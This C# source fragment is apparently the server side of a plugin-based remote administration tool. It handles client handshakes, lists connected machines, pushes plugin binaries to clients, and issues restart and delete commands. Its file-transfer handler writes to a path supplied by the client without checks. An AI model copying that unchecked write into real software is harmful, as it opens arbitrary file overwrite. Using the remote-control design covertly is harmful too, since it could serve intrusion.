static void _server_OnDataRetrieved(eSock.Server sender, eSock.Server.eSockClient client, object[] data)
{
PacketHeader header = (PacketHeader) (byte)data[0];
if (header == PacketHeader.StartFileTransfer)
{
int _fHandle = Handle;
lock (_server)
{
while (FileHandles.ContainsKey(_fHandle))
{
_fHandle = ++Handle;
}
}
FileHandles.Add(_fHandle, new FileStream((string)data[1], FileMode.Create));
client.Send((byte)PacketHeader.FileTransferResponce, _fHandle);
}
if (header == PacketHeader.FileTransferBlock)
{
int _fhandle = (int) data[1];
byte[] block = (byte[]) data[2];
bool finalBlock = (bool) data[3];
if (!FileHandles.ContainsKey(_fhandle))
return;
FileHandles[_fhandle].Write(block, 0, block.Length);
if (finalBlock)
{
FileHandles[_fhandle].Close();
FileHandles[_fhandle].Dispose();
FileHandles.Remove(_fhandle);
lock (_server)
{
if (Handle > _fhandle)
Handle = _fhandle;
}
}
}
}
void UpdatePlugin(eSock.Server.eSockClient client, Guid ID)
{
try
{
byte[] buffer = new byte[2000];
int bytesRead = 0;
using (MemoryStream _pluginUpdate = new MemoryStream(LoadedPlugins[ID].ClientPluginBytes))
{
while ((bytesRead = _pluginUpdate.Read(buffer, 0, buffer.Length)) > 0)
{
byte[] Packet = new byte[bytesRead];
Array.Copy(buffer, 0, Packet, 0, bytesRead);
client.Send(Guid.Empty, (byte)NetworkPacket.UpdatePlugin, ID, Packet,
_pluginUpdate.Position == _pluginUpdate.Length);
Thread.Sleep(100);
}
}
}
catch (Exception ex)
{
if (LoadedPlugins.ContainsKey(ID))
DisplayException(LoadedPlugins[ID], ex);
else
DisplayException(null, ex);
}
}
void NetworkServer_OnDataRetrieved(eSock.Server sender, eSock.Server.eSockClient client, object[] data)
{
lock (client)
{
try
{
MLClientData _ClientData = (MLClientData) client.Tag;
Guid PluginID = (Guid) data[0];
if (PluginID == Guid.Empty)
{
NetworkPacket command = (NetworkPacket)data[1];
Debug.WriteLine(command, "Command");
if (!_ClientData.Handshaken)
{
if (command == NetworkPacket.Handshake)
{
_ClientData.Handshaken = true;
_ClientData.Encryption.GenerateRandomKey();
client.Send(Guid.Empty, (byte)NetworkPacket.Connect, _ClientData.Encryption.Key);
_ClientData.Encryption.Enabled = true;
return;
}
return;
}
if(command == NetworkPacket.BasicSettingsUpdated)
{
Debug.WriteLine("Basic settings updated", "Settings");
ListViewItem i = new ListViewItem(_ClientData.Settings.GetSetting<string>("Username", "Default"));
i.Tag = _ClientData;
i.SubItems.Add(client.NetworkSocket.RemoteEndPoint.ToString());
i.SubItems.Add(_ClientData.Settings.GetSetting<string>("OS", "WinX Lollypop (Unknowen)"));
i.SubItems.Add(_ClientData.Settings.GetSetting<string>("Cores", "0"));
_ClientData.DisplayObject = i;
AddListview(i);
foreach (var plugin in LoadedPlugins)
{
try
{
plugin.Value.ServerPlugin.OnClientConnect(new MLClient(_ClientData.ID, plugin.Value.ClientPluginID, _ClientData));
}
catch (Exception ex)
{
DisplayException(plugin.Value, ex);
}
}
}
if(command == NetworkPacket.UpdateSetting)
{
string settingName = (string)data[2];
object value = data[3];
_ClientData.Settings.UpdateSetting(settingName, value);
Debug.WriteLine(string.Format("Updated {0}", settingName), "Settings");
}
if(command == NetworkPacket.UpdateSettingsDictionary)
{
var settings = (Dictionary< string, object>)data[2];
foreach(var dcItem in settings)
{
_ClientData.Settings.UpdateSetting(dcItem.Key, dcItem.Value);
}
}
#region " Plugin Checksum "
if (command == NetworkPacket.Checksums)
{
bool Updated = false;
Dictionary<Guid, string> Checksums = (Dictionary<Guid, string>)data[2];
if (Checksums == null)
{
foreach (var plugin in LoadedPlugins)
{
Guid ID = plugin.Key;
UpdatePlugin(client, ID);
Thread.Sleep(100);
Updated = true;
}
return;
}
foreach (var plugin in Checksums)
{
Guid ID = plugin.Key;
string checksum = plugin.Value;
if (!LoadedPlugins.ContainsKey(ID))
{
client.Send(Guid.Empty, (byte)NetworkPacket.DeletePlugin, ID);
Updated = true;
continue;
}
if (LoadedPlugins[ID].ClientPluginChecksum!= checksum)
{
UpdatePlugin(client, ID);
Thread.Sleep(100);
Updated = true;
}
}
foreach (var plugin in LoadedPlugins)
{
Guid ID = plugin.Key;
MLPlugin PluginData = plugin.Value;
if (!Checksums.ContainsKey(ID))
{
UpdatePlugin(client, ID);
Thread.Sleep(100);
Updated = true;
}
}
if (Updated)
client.Send(Guid.Empty, (byte)NetworkPacket.Restart);
else
client.Send(Guid.Empty, (byte)NetworkPacket.PluginsVerified);
_ClientData.PluginsVerified = true;
}
#endregion
return;
}
if (LoadedPlugins.ContainsKey(PluginID))
{
LoadedPlugins[PluginID].ServerPlugin.OnDataRetrieved(new MLClient(_ClientData.ID, PluginID,
_ClientData), (object[]) data[1]);
}
}
catch(Exception ex)
{
DisplayException(null, ex);
}
}
}
